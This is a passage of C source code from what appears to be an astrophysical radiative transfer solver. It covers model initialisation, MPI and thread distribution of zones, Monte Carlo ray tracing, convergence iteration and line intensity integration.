glb.outf)\n\t\tSpIO_CloseFile(glb.outf);\n\t\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.zones)\n\t\tfree(glb.zones);\n\n\tif(glb.zone_rank)\n\t\tfree(glb.zone_rank);\n\n\tif(glb.zone_tid)\n\t\tfree(glb.zone_tid);\n\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tif(glb.rng[i])\n\t\t\tgsl_rng_free(glb.rng[i]);\n\t}\n\n\tif(glb.I_norm)\n\t\tfree(glb.I_norm);\n\n\tif(glb.I_cmb)\n\t\tfree(glb.I_cmb);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int InitModel(void)\n{\n\tZone *root = glb.model.grid, *zp;\n\tSpPhys *pp;\n\tsize_t i, nn, nm;\n\n\t/* Set normalization intensity to 20K -- normalization prevents rounding\n\t errors from creeping in when flux values are very small */\n\tglb.I_norm = Mem_CALLOC(NRAD, glb.I_norm);\n\tfor(i = 0; i < NRAD; i++) {\n\t\tglb.I_norm[i] = Phys_PlanckFunc(FREQ(i), 20.0);\n\t\tassert(glb.I_norm[i] > 0); /* Just in case */\n\t}\n\n\t/* Set I_cmb */\n\tglb.I_cmb = Mem_CALLOC(NRAD, glb.I_cmb);\n\tif(glb.model.parms.T_cmb > 0) {\n\t\tfor(i = 0; i < NRAD; i++) {\n\t\t\tglb.I_cmb[i] = Phys_PlanckFunc(FREQ(i), glb.model.parms.T_cmb);\n\t\t\tassert(glb.I_cmb[i] > 0); /* Just in case */\n\t\t}\n\t}\n\n\tfor(zp = Zone_GetMinLeaf(root); zp; zp = Zone_AscendTree(zp)) {\n\t\t/* Pointer to physical parameters */\n\t\tpp = zp->data;\n\n\t\t/* Init molecular data */\n\t\tSpPhys_InitMol(pp, glb.model.parms.mol);\n\n\t\t//debug\n\t\t//if(((pp->n_H2 * pp->X_mol) > 0) && !zp->children) {\n\t\tif((pp->n_H2 > 0) && !zp->children) {\n\t\t\t/* This is a non-empty leaf zone */\n\t\t\tpp->non_empty_leaf = 1;\n\n\t\t\tif(pp->X_mol > 0) {\n\t\t\t\t/* This zone requires excitation calculations */\n\t\t\t\tpp->has_tracer = 1;\n\t\t\t\tglb.nzone += 1;\n\n\t\t\t\t/* Collect in zones array */\n\t\t\t\tglb.zones = Mem_REALLOC(glb.nzone, glb.zones);\n\t\t\t\tglb.zones[glb.nzone - 1] = zp;\n\t\t\t}\n\t\t}\n\t}\n\n\tglb.zone_rank = Mem_CALLOC(glb.nzone, glb.zone_rank);\n\tglb.zone_tid = Mem_CALLOC(glb.nzone, glb.zone_tid);\n\tnn = Num_MAX(1, glb.nzone / Sp_MPISIZE);\n\tnm = Num_MAX(1, nn / Sp_NTHREAD);\n\tfor(i = 0; i < glb.nzone; i++) {\n\t\t/* zone_rank and zone_tid are set so that the zones are\n\t\t * distributed as e.g.\n\t\t * NZONE = 8\n\t\t * NPROC = 2\n\t\t * NTHREAD = 2\n\t\t * NN = NZONE / NPROC = 4\n\t\t * NM = NN / NTHREAD = 2\n\t\t * I\t\t0\t1\t2\t3\t4\t5\t6\t7\n\t\t * (I/NN)%NPROC\t0\t0\t0\t0\t1\t1\t1\t1\n\t\t * (I/NM)%NTHRD\t0\t0\t1\t1\t0\t0\t1\t1\n\t\t */\n\t\t/* Calculate corresponding zone_rank */\n\t\tglb.zone_rank[i] = (i / nn) % Sp_MPISIZE;\n\n\t\t/* Calculate corresponding zone_tid */\n\t\tglb.zone_tid[i] = (i / nm) % Sp_NTHREAD;\n\n\t\t//debug\n\t\t/* OR\n\t\t * I\t\t0\t1\t2\t3\t4\t5\t6\t7\n\t\t * (I/NN)%NPROC\t0\t0\t0\t0\t1\t1\t1\t1\n\t\t * (I/NPROC)%NTHRD\t0\t0\t1\t1\t0\t0\t1\t1\n\t\t */\n\t\t//glb.zone_rank[i] = (i / nn) % Sp_MPISIZE;\n\t\t//glb.zone_tid[i] = (i / Sp_MPISIZE) % Sp_NTHREAD;\n\n\t\t//debug\n\t\t/* OR\n\t\t * I\t\t\t0\t1\t2\t3\t4\t5\t6\t7\n\t\t * i%NPROC\t\t0\t1\t0\t1\t0\t1\t0\t1\n\t\t * I%NTHRD\t0\t1\t0\t1\t0\t1\t0\t1\n\t\t */\n\t\t//glb.zone_rank[i] = i % Sp_MPISIZE;\n\t\t//glb.zone_tid[i] = i % Sp_NTHREAD;\n\t}\n\n\tSpUtil_Threads(InitModelThread);\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *InitModelThread(void *tid_p)\n{\n\tsize_t tid = *((size_t *)tid_p), zone_id, j, k;\n\tZone *zp, *root = glb.model.grid;\n\tSpPhys *pp;\n\n\t//for(zone_id = 0; zone_id < glb.nzone; zone_id++) {\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\t/* Skip if zone id and thread id don't match */\n\t\tif(zone_id % Sp_NTHREAD != tid)\n\t\t\tcontinue;\n\n\t\t/* Pointer to physical parameters */\n\t\t//zp = glb.zones[zone_id];\n\t\tpp = zp->data;\n\n\t\t/* Init RT parameters only if there's gas here */\n\t\tif(pp->non_empty_leaf) {\n\t\t\t/* Init excitation parameters only if tracers are present */\n\t\t\tif(pp->has_tracer) {\n\t\t\t\t/* Set starting number of rays */\n\t\t\t\tpp->nray = glb.nray;\n\n\t\t\t\t/* Calculate thermal line width */\n\t\t\t\tpp->sigma = SpPhys_CalcLineWidth(pp);\n\n\t\t\t\t/* Interpolate downward collisional coeffs and infer upward coeffs */\n\t\t\t\tSpPhys_InitCollRates(pp);\n\n\t\t\t\t/* Set initial pops to either optically thin or LTE */\n\t\t\t\tfor(j = 0; j < pp->mol->nlev; j++) {\n\t\t\t\t\tfor(k = 0; k < Sp_NTHREAD; k++) {\n\t\t\t\t\t\tif(glb.lte) {\n\t\t\t\t\t\t\tpp->pops[k][j] = SpPhys_BoltzPops(pp->mol, j, pp->T_k);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tpp->pops[k][j] = (j == 0) ? 1.0 : 0.0;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Add dust emission/absorption if T_d > 0 */\n\t\t\tif(pp->T_d > 0) {\n\t\t\t\tSpPhys_AddContinuum_d(pp, 0, glb.model.parms.gas_to_dust);\n\t\t\t}\n\n\t\t\t/* Add free-free emission/absorption if T_ff > 0 */\n\t\t\tif(pp->T_ff > 0) {\n\t\t\t\tSpPhys_AddContinuum_ff(pp, 0);\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define MAXRAYS ((size_t)1e8)\n#define MINPOPS (glb.minpop)\n#define TOLERANCE (glb.tolerance)\n#define MCNOISE (1.0 / glb.snr)\n#define NHIST ((size_t)3)\n#define HIST(i, j)\\\n\thist[(j) + NLEV * (i)]\n#define INTENSITY(i, j)\\\n\tintensity[(j) + NRAD * (i)]\n#define TAU(i, j)\\\n\ttau[(j) + NRAD * (i)]\n\n/*----------------------------------------------------------------------------*/\n\nstatic int CalcExc(void)\n{\n\tint status = 0;\n\tsize_t iter;\n\ttime_t t_start, t_iter;\n\n\t/* Make sure exc_mutex is initialized */\n\tpthread_mutex_init(&glb.exc_mutex, NULL);\n\tpthread_mutex_init(&glb.izone_mutex, NULL);\n\n\t/* Start timer */\n\ttime(&t_start);\n\n\tSp_PRINT(\"Model geometry is `%s'\\n\", Geom_CodeToName(glb.model.grid->voxel.geom));\n\tSp_PRINT(\"Solving excitation for %s\\n\", glb.model.parms.mol->chemname);\n\tSp_PRINT(\"Total %d levels, %d lines\\n\", glb.model.parms.mol->nlev, glb.model.parms.mol->nrad);\n\tSp_PRINT(\"Beginning convergence from %s conditions\\n\", glb.lte ? \"LTE\" : \"optically thin\");\n\n\tfor(glb.stage = 0; glb.stage < STAGE_N; glb.stage++) {\n\t\tSpPy_CHECKEXC(break);\n\n\t\t/* Sleep for 1 second just in case things went too fast */\n\t\tglb.fully_random = (glb.stage == STAGE_FIX) ? 0 : 1;\n\n\t\t/* Get new seed for each stage */\n\t\tglb.seed = (unsigned long)time(NULL);\n\n\t\t/* Reset number of converged zones */\n\t\tglb.nconv = 0;\n\t\t\n\t\t/* Some pretty output for the user's convenience */\n\t\tif(!glb.fully_random) {\n\t\t\tSp_PRINT(\"\\n\");\n\t\t\tSp_PRINT(\"Iterating for convergence with FIXED set of random rays, seed=%lu\\n\", glb.seed);\n\t\t\tSp_PRINT(\"%6s|%15s|%10s|%10s|%10s|%9s\\n\",\n\t\t\t\t\"Iter.\", \"Converged/Total\", \"Prcntg.\", \"Max diff.\", \"Goal\", \"Elapsed\");\n\t\t\tSp_PRINT(\"------|---------------|----------|----------|----------|---------\\n\");\n\t\t}\n\t\telse {\n\t\t\tSp_PRINT(\"\\n\");\n\t\t\tSp_PRINT(\"Iterating for convergence with FULLY RANDOM rays, initial seed=%lu\\n\", glb.seed);\n\t\t\tSp_PRINT(\"%6s|%15s|%10s|%10s|%10s|%9s|%20s\\n\",\n\t\t\t\t\"Iter.\", \"Converged/Total\", \"Prcntg.\", \"Max diff.\", \"Goal\", \"Elapsed\", \"Status\");\n\t\t\tSp_PRINT(\"------|---------------|----------|----------|----------|---------|--------------------\\n\");\n\t\t}\n\n\t\tfor(iter = 0; glb.nconv < glb.nzone; iter++) {\n\t\t\tSpPy_CHECKEXC(break);\n\n\t\t\t/* Reset global parameters */\n\t\t\tglb.nconv = 0;\n\t\t\tglb.max_diff = 0;\n\t\t\tglb.nray_tot = 0;\n\n\t\t\t/* Calculate excitation */\n\t\t\tglb.izone = 0;\n\t\t\tSpUtil_Threads(CalcExcThread);\n\n\t\t\t/* Sync pops from all processes and threads */\n\t\t\tSyncProcs();\n\n\t\t\t/* Get time for this iteration */\n\t\t\ttime(&t_iter);\n\n\t\t\t/* Pretty output for the user */\n\t\t\tSp_PRINT(\"%6g|%7g/%-7g|%9.2f%|%10.4e|%10.4e|%9s\",\n\t\t\t\t(double)(iter + 1),\n\t\t\t\t(double)glb.nconv,\n\t\t\t\t(double)glb.nzone,\n\t\t\t\t100.0 * (double)glb.nconv / (double)glb.nzone,\n\t\t\t\tglb.max_diff,\n\t\t\t\t!glb.fully_random ? TOLERANCE : MCNOISE,\n\t\t\t\tPhys_SecsToHMS_Str((int)difftime(t_iter, t_start)));\n\t\t\t\t\n\t\t\tif(!glb.fully_random) {\n\t\t\t\tSp_PRINTF(\"\\n\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif((glb.nconv == glb.nzone)) {\n\t\t\t\t\tif(iter < glb.rani) {\n\t\t\t\t\t\tSp_PRINTF(\"| %3d more iters\\n\", glb.rani - iter);\n\t\t\t\t\t\tglb.nconv = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tSp_PRINTF(\"|%20s\\n\", \"Converged!\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tSp_PRINTF(\"|->%13g rays\\n\", (double)glb.nray_tot);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/* Check for Python exceptions */\n\tif(!status && PyErr_Occurred()) {\n\t\tstatus = 1;\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *CalcExcThread(void *tid_p)\n{\n\tsize_t tid = *((size_t *)tid_p);\n\tZone *zp;\n\tSpPhys *pp;\n\tsize_t i, ihist, izone;\n\tdouble *ds0, *vfac0, *intensity, *tau, *hist, diff, vel;\n\n\thist = Mem_CALLOC(NHIST * NLEV, hist);\n\n\twhile(glb.izone < glb.nzone) {\n\t\t/* Check for Python exceptions */\n\t\tSpPy_CHECKEXC(break);\n\n\t\t/* Lock izone mutex */\n\t\tpthread_mutex_lock(&glb.izone_mutex);\n\t\tizone = glb.izone;\n\n\t\t/* Remember which thread is responsible for this zone */\n\t\tglb.zone_tid[izone] = tid;\n\n\t\t/* Update glb.izone */\n\t\tglb.izone += 1;\n\n\t\t/* Unlock izone mutex */\n\t\tpthread_mutex_unlock(&glb.izone_mutex);\n\n\t\t/* Skip zones that don't belong to this rank */\n\t\tif(glb.zone_rank[izone] != Sp_MPIRANK) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t/* Zone related pointers */\n\t\tzp = glb.zones[izone];\n\t\tpp = zp->data;\n\n\t\t/* Buffers for calculating excitation */\n\t\tds0 = Mem_CALLOC(pp->nray, ds0);\n\t\tvfac0 = Mem_CALLOC(pp->nray, vfac0);\n\t\tintensity = Mem_CALLOC(pp->nray * NRAD, intensity);\n\t\ttau = Mem_CALLOC(pp->nray * NRAD, tau);\n\n\t\t/* Calculate NHIST times for statistics */\n\t\tfor(ihist = 0; ihist < NHIST; ihist++) {\n\t\t\tif(!glb.fully_random)\n\t\t\t\tgsl_rng_set(glb.rng[tid], glb.seed);\n\n\t\t\tif(1) {\n\t\t\t\tCalcRays(tid, zp, ds0, vfac0, intensity, tau);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t#define XI()\\\n\t\t\t\t\tgsl_rng_uniform(glb.rng[tid])\n\t\t\t\tfor(i = 0; i < pp->nray; i++) {\n\t\t\t\t\tds0[i] = XI() * 0.1 * Sp_LENFAC;\n\t\t\t\t\tvel = (XI() - 0.5) * 4.3 * pp->sigma;\n\t\t\t\t\tvfac0[i] = Num_GaussNormal(vel, pp->sigma);\n\t\t\t\t}\n\t\t\t\t#undef XI\n\t\t\t}\n\t\t\tCalcDetailedBalance(tid, pp, ds0, vfac0, intensity, tau);\n\n\t\t\tfor(i = 0; i < NLEV; i++) {\n\t\t\t\tHIST(ihist, i) = pp->pops[tid][i];\n\t\t\t}\n\t\t}\n\t\tdiff = CalcDiff(hist, NULL);\n\n\t\t/* Lock mutex for global parameters */\n\t\tpthread_mutex_lock(&glb.exc_mutex);\n\n\t\t/* Update max_diff */\n\t\tif(diff > glb.max_diff)\n\t\t\tglb.max_diff = diff;\n\n\t\t/* Determine convergence and act accordingly */\n\t\tif(!glb.fully_random) {\n\t\t\tif(diff <= TOLERANCE) {\n\t\t\t\tglb.nconv += 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif(diff <= MCNOISE) {\n\t\t\t\tglb.nconv += 1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tpp->nray *= 4;\n\t\t\t\tif(pp->nray > MAXRAYS) {\n\t\t\t\t\tpp->nray = MAXRAYS;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t/* Update total number of rays */\n\t\tglb.nray_tot += pp->nray;\n\n\t\t/* Unlock mutex */\n\t\tpthread_mutex_unlock(&glb.exc_mutex);\n\n\t\tfree(ds0);\n\t\tfree(vfac0);\n\t\tfree(intensity);\n\t\tfree(tau);\n\t}\n\n\tfree(hist);\n\n\t//return NULL;\n\tpthread_exit(NULL);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void SyncProcs(void)\n{\n\tsize_t i;\n\n\t/* Sync pops from all processes and threads */\n\tfor(i = 0; i < glb.nzone; i++)\n\t\tSyncPops(i);\n\n\t#ifdef HAVE_MPI\n\tint glb_nconv, nconv_buff, glb_nray_tot, nray_tot_buff;\n\tdouble max_diff_buff[Sp_MPISIZE];\n\n\t/* Sync total number of rays */\n\tglb_nray_tot = (int)glb.nray_tot;\n\tMPI_Reduce(&glb_nray_tot, &nray_tot_buff, 1, MPI_INT, MPI_SUM, 0, MPI_COMM_WORLD);\n\tglb_nray_tot = (int)nray_tot_buff;\n\tMPI_Bcast(&glb_nray_tot, 1, MPI_INT, 0, MPI_COMM_WORLD);\n\tglb.nray_tot = (size_t)glb_nray_tot;\n\n\t/* Sync total number of converged zones */\n\tglb_nconv = (int)glb.nconv;\n\tMPI_Reduce(&glb_nconv, &nconv_buff, 1, MPI_INT, MPI_SUM, 0, MPI_COMM_WORLD);\n\tglb_nconv = nconv_buff;\n\tMPI_Bcast(&glb_nconv, 1, MPI_INT, 0, MPI_COMM_WORLD);\n\tglb.nconv = (size_t)glb_nconv;\n\n\t/* Gather max_diff from all processes */\n\tMPI_Gather(&glb.max_diff, 1, MPI_DOUBLE, max_diff_buff, 1, MPI_DOUBLE, 0, MPI_COMM_WORLD);\n\n\tif(Sp_MPIRANK == 0) {\n\t\t/* Sort max_diff_buff to get largest max_diff */\n\t\tNum_Qsort_d(max_diff_buff, Sp_MPISIZE);\n\t\tglb.max_diff = max_diff_buff[Sp_MPISIZE - 1];\n\t}\n\n\t/* Sync max_diff with master */\n\tMPI_Bcast(&glb.max_diff, 1, MPI_DOUBLE, 0, MPI_COMM_WORLD);\n\t#endif\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void SyncPops(size_t izone)\n{\n\tsize_t zone_tid = glb.zone_tid[izone];\n\tsize_t i;\n\tZone *zp;\n\tSpPhys *pp;\n\n\tzp = glb.zones[izone];\n\tpp = zp->data;\n\n\t/* First copy pops from all other threads to thread 0 */\n\tif(zone_tid != 0) {\n\t\tMem_MEMCPY(pp->pops[0], pp->pops[zone_tid], NLEV);\n\t}\n\n\t#ifdef HAVE_MPI\n\t/* Then sync results from all processes if using MPI */\n\n\tsize_t zone_rank = glb.zone_rank[izone];\n\tMPI_Status mpi_status;\n\n\t/* Gather all calculated results to master process */\n\tif(Sp_MPIRANK != 0) {\n\t\t/* This is a slave process; send to master */\n\t\tif(zone_rank == Sp_MPIRANK) {\n\t\t\tMPI_Send(pp->pops[0], (int)NLEV, MPI_DOUBLE, 0, Sp_MPITAG, MPI_COMM_WORLD);\n\t\t\tMPI_Send(pp->tau, (int)NRAD, MPI_DOUBLE, 0, Sp_MPITAG, MPI_COMM_WORLD);\n\t\t\tMPI_Send(&pp->ds, 1, MPI_DOUBLE, 0, Sp_MPITAG, MPI_COMM_WORLD);\n\t\t}\n\t}\n\telse {\n\t\t/* This is the master process; receive from a slave */\n\t\tif(zone_rank != 0) {\n\t\t\tMPI_Recv(pp->pops[0], (int)NLEV, MPI_DOUBLE, (int)zone_rank, Sp_MPITAG, MPI_COMM_WORLD, &mpi_status);\n\t\t\tMPI_Recv(pp->tau, (int)NRAD, MPI_DOUBLE, (int)zone_rank, Sp_MPITAG, MPI_COMM_WORLD, &mpi_status);\n\t\t\tMPI_Recv(&pp->ds, 1, MPI_DOUBLE, (int)zone_rank, Sp_MPITAG, MPI_COMM_WORLD, &mpi_status);\n\t\t}\n\t}\n\n\t/* Sync all processes with master */\n\tMPI_Bcast(pp->pops[0], (int)NLEV, MPI_DOUBLE, 0, MPI_COMM_WORLD);\n\tMPI_Bcast(pp->tau, (int)NRAD, MPI_DOUBLE, 0, MPI_COMM_WORLD);\n\t#endif\n\n\t/* Copy thread 0 pops to all other threads */\n\tfor(i = 1; i < Sp_NTHREAD; i++) {\n\t\tMem_MEMCPY(pp->pops[i], pp->pops[0], NLEV);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void CalcRays(size_t tid, Zone *zone, double *ds0, double *vfac0,\n\tdouble *intensity, double *tau)\n/* Collect `external' contribution to local mean radiation field (J_bar)\n * by shooting NRAY rays in random directions and calculating the\n * corresponding intensity.\n */\n{\n\tsize_t i;\n\tSpPhys *pp = zone->data;\n\tdouble vel;\n\tGeRay ray;\n\tGeVec3_d v_gas;\n\n\tassert(pp->nray > 0); /* Just in case */\n\n\t#if debug_ray\n\tcpgopen(\"/xs\");\n\tVox_Cpgenv(&zone->root->voxel);\n\tZone_Cpgplot(zone->root, &cam);\n\tcpgupdt();\n\t#endif\n\n\t/* Reset pp->ds */\n\tpp->ds = 0;\n\n\t/* Reset tau */\n\tMem_BZERO2(tau, pp->nray * NRAD);\n\n\tfor(i = 0; i < pp->nray; i++) {\n\t\t/* Set random ray origin and direction */\n\t\tray = GeRay_Rand(glb.rng[tid], &zone->voxel);\n\n\t\t/* This samples a random number uniformly in the\n\t\t * interval [0, 1) */\n\t\t#define RAND()\\\n\t\t\tgsl_rng_uniform(glb.rng[tid])\n\n\t\t/* This samples a random number uniformly in the\n\t\t * interval (0, 1) */\n\t\t#define PRAND()\\\n\t\t\tgsl_rng_uniform_pos(glb.rng[tid])\n\n\t\t/* Set random velocity within local linewidth: PRAND() is used\n\t\t * so that the sampling is uniform within the line width */\n\t\tv_gas = SpPhys_GetVgas(&ray.e, zone);\n\t\tvel = (PRAND() - 0.5) * 4.3 * pp->sigma + GeVec3_DotProd(&v_gas, &ray.d);\n\n\t\t/* Calculate radiative transfer along this direction */\n\t\t//debug\n\t\tif(0) {\n\t\t\tRadiativeXfer(tid, zone, &ray, vel, &ds0[i], &vfac0[i], &INTENSITY(i, 0), &TAU(i, 0));\n\t\t}\n\t\telse {\n\t\t\tRadiativeXfer2(tid, zone, &ray, vel, &ds0[i], &vfac0[i], &INTENSITY(i, 0), &TAU(i, 0));\n\t\t}\n\t}\n\n\t#if debug_ray\n\tcpgclos();\n\tDeb_PAUSE();\n\t#endif\n\n\t/* Calculate average path length */\n\tpp->ds /= (double)pp->nray;\n\n\t#undef RAND\n\t#undef PRAND\n\n\t#if debug_ray\n\tcpgclos();\n\tDeb_PAUSE();\n\t#endif\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void RadiativeXfer(size_t tid, Zone *zone, GeRay *ray, double vel, double *ds0,\n\tdouble *vfac0, double *intensity, double *tau)\n/* Given a previously initialized ray, calculate intensity for all lines\n * along the ray from the ray origin to the edge of the cloud */\n{\n\tsize_t i;\n\tZone *zp = zone;\n\tSpPhys *pp, *zone_pp;\n\tdouble t, ds, vfac, j_nu, k_nu, S_nu, dtau_nu;\n\tsize_t plane;\n\n\t/* Reset intensity, ds0 and vfac0 */\n\tMem_BZERO2(intensity, NRAD);\n\tMem_BZERO2(tau, NRAD);\n\t*ds0 = 0;\n\t*vfac0 = 0;\n\n\t#if debug_ray //debug\n\tGeRay tmp_ray;\n\tsize_t iter = 0;\n\tprintf(\"%12s %12s %12s %12s %12s %12s %12s %12s\\n\", \"iter\", \"ds\", \"vfac\", \"n_H2\", \"X_mol\", \"sigma\", \"dtau\", \"tau_nu\");\n\t#endif\n\n\t/* Reset counter for average path length */\n\tzone_pp = zone->data;\n\n\t/* Propagate the ray through the cloud until we've\n\t * reached the edge */\n\twhile(zp) {\n\t\t/* Calculate path to next boundary */\n\t\tGeRay_TraverseVoxel(ray, &zp->voxel, &t, &plane);\n\n\t\t/* Pointer to physical parameters associated with this zone */\n\t\tpp = zp->data;\n\n\t\t//debug\n\t\tdtau_nu = 0;\n\n\t\t/* Do calculations on non-empty leaf zones only */\n\t\tif(pp->non_empty_leaf) {\n\t\t\t/* Calculate propagation path length and velocity factor\n\t\t\t * for line profile */\n\t\t\tds = t * Sp_LENFAC;\n\n\t\t\t/* Increment average path length counter */\n\t\t\tzone_pp->ds += t;\n\n\t\t\t/* Calculate velocity line profile factor */\n\t\t\tvfac = pp->has_tracer ? SpPhys_GetVfac(ray, t, vel, zp, 0) : 0;\n\n\t\t\tif(zp == zone) {\n\t\t\t\t/* Save ds, vfac for later use and do nothing else */\n\t\t\t\t*ds0 = ds;\n\t\t\t\t*vfac0 = vfac;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t/* Calculate radiative contribution from neighboring\n\t\t\t\t * zones */\n\t\t\t\tfor(i = 0; i < NRAD; i++) {\n\t\t\t\t\t/* Calculate molecular line emission and absorption coefficients */\n\t\t\t\t\tif(pp->has_tracer) {\n\t\t\t\t\t\tSpPhys_GetMoljk(tid, pp, i, vfac, &j_nu, &k_nu);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tj_nu = 0;\n\t\t\t\t\t\tk_nu = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* Add continuum emission/absorption */\n\t\t\t\t\tj_nu += pp->cont[i].j;\n\t\t\t\t\tk_nu += pp->cont[i].k;\n\n\t\t\t\t\t/* Calculate source function and optical depth if\n\t\t\t\t\t * absorption is NOT zero */\n\t\t\t\t\tif(fabs(k_nu) > 0) {\n\t\t\t\t\t\tS_nu = j_nu / k_nu / glb.I_norm[i];\n\t\t\t\t\t\tdtau_nu = k_nu * ds;\n\t\t\t\t\t\tSpPhys_LIMITTAU(dtau_nu);\n\n\t\t\t\t\t\t/* Calculate intensity contributed by this step */\n\t\t\t\t\t\tintensity[i] += S_nu * (1.0 - exp(-dtau_nu)) * exp(-tau[i]);\n\n\t\t\t\t\t\t/* Accumulate total optical depth for this line (must be done\n\t\t\t\t\t\t * AFTER calculation of intensity!) */\n\t\t\t\t\t\ttau[i] += dtau_nu;\n\n\t\t\t\t\t\tSpPhys_LIMITTAU(tau[i]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t#if debug_ray\n\t\t\tprintf(\"%12lu %12.4e %12.4e %12.4e %12.4e %12.4e %12.4e %12.4e\\n\", (unsigned long)iter, t, vfac, pp->n_H2, pp->X_mol, pp->sigma, dtau_nu, tau[0]);\n\t\t\t#endif\n\t\t}\n\n\t\t#if debug_ray //debug\n\t\ttmp_ray = GeRay_Inc(ray, t);\n\t\tGeVec3_Cpgarro2(&ray->e, &tmp_ray.e, &cam);\n\t\tif(1) {\n\t\t\t//printf(\"plane=%lu\\n\", (unsigned long)plane);\n\t\t\tcpgupdt();\n\t\t\tDeb_PAUSE();\n\t\t}\n\t\t#endif\n\n\t\t/* Propagate ray to next position */\n\t\t*ray = GeRay_Inc(ray, t);\n\n\t\t/* Get next zone to traverse to */\n\t\t//zp = Zone_Getnext_Rec3d(zp, plane, &ray->e);\n\t\tzp = Zone_GetNext(zp, plane, ray);\n\n\t\t#if debug_ray //debug\n\t\titer++;\n\t\t#endif\n\t}\n\n\t/* Ray escaped cloud, add CMB to all lines */\n\tfor(i = 0; i < NRAD; i++) {\n\t\tintensity[i] += glb.I_cmb[i] * exp(-tau[i]);\n\t}\n\n\t#if debug_ray //debug\n\tprintf(\"ds0=%12.4e, vfac0=%12.4e\\n\", (*ds0) / Sp_LENFAC, *vfac0);\n\t//Deb_PAUSE();\n\t#endif\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void RadiativeXfer2(size_t tid, Zone *zone, GeRay *ray, double vel, double *ds0,\n\tdouble *vfac0, double *intensity, double *tau)\n/* Given a previously initialized ray, calculate intensity for all lines\n * along the ray from the ray origin to the edge of the cloud */\n{\n\tsize_t i, firststep = 1;\n\tZone *zp = zone;\n\tSpPhys *pp, *zone_pp;\n\tdouble t, ds, vfac, j_nu, k_nu, S_nu, dtau_nu;\n\tsize_t plane;\n\n\t/* Reset intensity, ds0 and vfac0 */\n\tMem_BZERO2(intensity, NRAD);\n\tMem_BZERO2(tau, NRAD);\n\t*ds0 = 0;\n\t*vfac0 = 0;\n\n\t#if debug_ray //debug\n\tGeRay tmp_ray;\n\tsize_t iter = 0;\n\tprintf(\"%12s %12s %12s %12s %12s %12s %12s %12s\\n\", \"iter\", \"ds\", \"vfac\", \"n_H2\", \"X_mol\", \"sigma\", \"dtau\", \"tau_nu\");\n\t#endif\n\n\t/* Reset counter for average path length */\n\tzone_pp = zone->data;\n\n\t/* Propagate the ray through the cloud until we've\n\t * reached the edge */\n\twhile(zp) {\n\t\t/* Calculate path to next boundary */\n\t\tGeRay_TraverseVoxel(ray, &zp->voxel, &t, &plane);\n\n\t\t/* Pointer to physical parameters associated with this zone */\n\t\tpp = zp->data;\n\n\t\t//debug\n\t\tdtau_nu = 0;\n\n\t\t/* Do calculations on non-empty leaf zones only */\n\t\tif(pp->non_empty_leaf) {\n\t\t\t/* Calculate propagation path length and velocity factor\n\t\t\t * for line profile */\n\t\t\tds = t * Sp_LENFAC;\n\n\t\t\t/* Increment average path length counter */\n\t\t\tzone_pp->ds += t;\n\n\t\t\tif(pp->has_tracer) {\n\t\t\t\t/* Calculate velocity line profile factor */\n\t\t\t\tvfac = SpPhys_GetVfac(ray, t, vel, zp, 0);\n\n\t\t\t\t/* Calculate radiative contribution from neighboring\n\t\t\t\t * zones */\n\t\t\t\tfor(i = 0; i < NRAD; i++) {\n\t\t\t\t\t/* Calculate molecular line emission and absorption coefficients */\n\t\t\t\t\tSpPhys_GetMoljk(tid, pp, i, vfac, &j_nu, &k_nu);\n\n\t\t\t\t\t/* Add continuum emission/absorption */\n\t\t\t\t\tj_nu += pp->cont[i].j;\n\t\t\t\t\tk_nu += pp->cont[i].k;\n\n\t\t\t\t\t/* Calculate source function and optical depth if\n\t\t\t\t\t * absorption is NOT zero */\n\t\t\t\t\tif(fabs(k_nu) > 0) {\n\t\t\t\t\t\tS_nu = j_nu / k_nu / glb.I_norm[i];\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tS_nu = 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tdtau_nu = k_nu * ds;\n\t\t\t\t\tSpPhys_LIMITTAU(dtau_nu);\n\n\t\t\t\t\tif(!firststep) {\n\t\t\t\t\t\t/* Calculate intensity contributed by this step */\n\t\t\t\t\t\tintensity[i] += S_nu * (1.0 - exp(-dtau_nu)) * exp(-tau[i]);\n\n\t\t\t\t\t\t/* Accumulate total optical depth for this line (must be done\n\t\t\t\t\t\t * AFTER calculation of intensity!) */\n\t\t\t\t\t\ttau[i] += dtau_nu;\n\t\t\t\t\t\tSpPhys_LIMITTAU(tau[i]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif(firststep) {\n\t\t\t\t\t/* Save ds, vfac for later use and do nothing else */\n\t\t\t\t\t*ds0 = ds;\n\t\t\t\t\t*vfac0 = 